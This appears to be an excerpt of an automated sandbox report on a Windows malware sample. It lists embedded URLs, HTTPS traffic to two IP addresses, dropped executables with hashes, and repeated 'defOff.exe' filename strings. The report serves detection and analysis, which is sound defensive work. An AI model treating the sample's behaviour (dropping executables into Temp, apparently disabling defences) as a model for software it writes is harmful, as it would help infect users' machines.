Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49751 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Bire1g8ahY.exe	Static PE information: section name:
Source: Bire1g8ahY.exe	Static PE information: section name: .idata
Source: Bire1g8ahY.exe	Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr	Static PE information: section name: .idata
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name:
Source: 1I4F16VK8DFW90DXD.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B	0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B	0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311805	0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311805	0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311942	0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311942	0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311C80	0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311C80	0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01305A8C	0_3_01305A8C
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B0C1	0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B0C1	0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B	0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B03B	0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311805	0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311805	0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311942	0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311942	0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311C80	0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01311C80	0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_01305A8C	0_3_01305A8C
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B0C1	0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0131B0C1	0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134F01B	0_3_0134F01B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Code function: 0_3_0134EC7F	0_3_0134EC7F
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_008FDCB7	9_2_008FDCB7
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Code function: 9_2_008FE729	9_2_008FE729

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185

Source: Bire1g8ahY.exe, 00000000.00000003.1579908993.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575400550.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590575545.00000000061D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575889132.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574284421.000000000600A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588462617.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580296238.0000000006145000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1603085065.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1603085065.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574989559.000000000600F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588901948.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586416443.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585935941.000000000606A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592426081.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590086219.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588225098.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571857551.0000000005F63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594175650.000000000609F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588680194.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586727125.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577556264.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593795345.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578138678.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1605033550.0000000006209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593495631.0000000006097000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574708821.0000000006011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574460366.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577308372.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575286979.0000000006009000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1602926737.0000000005B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589803555.0000000006088000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575128548.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583859970.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1591491558.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583220110.000000000605B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576711693.0000000006025000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573041655.0000000005F65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589362845.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580728259.0000000006050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1584726424.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590314080.0000000006094000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579073782.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579443288.0000000006044000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585399701.000000000606E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594578102.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580544170.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593234929.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1591151488.000000000609C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578571776.0000000006042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575642164.0000000006020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576832665.00000000060EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595180045.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573949512.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572238615.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589133282.00000000061B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587440223.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587766523.0000000006080000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570264159.0000000005BA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587201981.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575527468.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570360479.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572109109.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581095768.000000000604F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572362087.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572785338.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578867943.0000000006123000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586992981.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578293217.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582979890.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581559824.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595388902.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592806870.00000000060A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585660002.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578429054.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576244348.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581775068.000000000605F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575752536.00000000060E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574076833.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577078014.0000000006031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571976054.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582133537.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572891817.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573763559.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570559626.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580885900.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574846561.0000000005F58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595582504.00000000060B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579678405.0000000006132000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
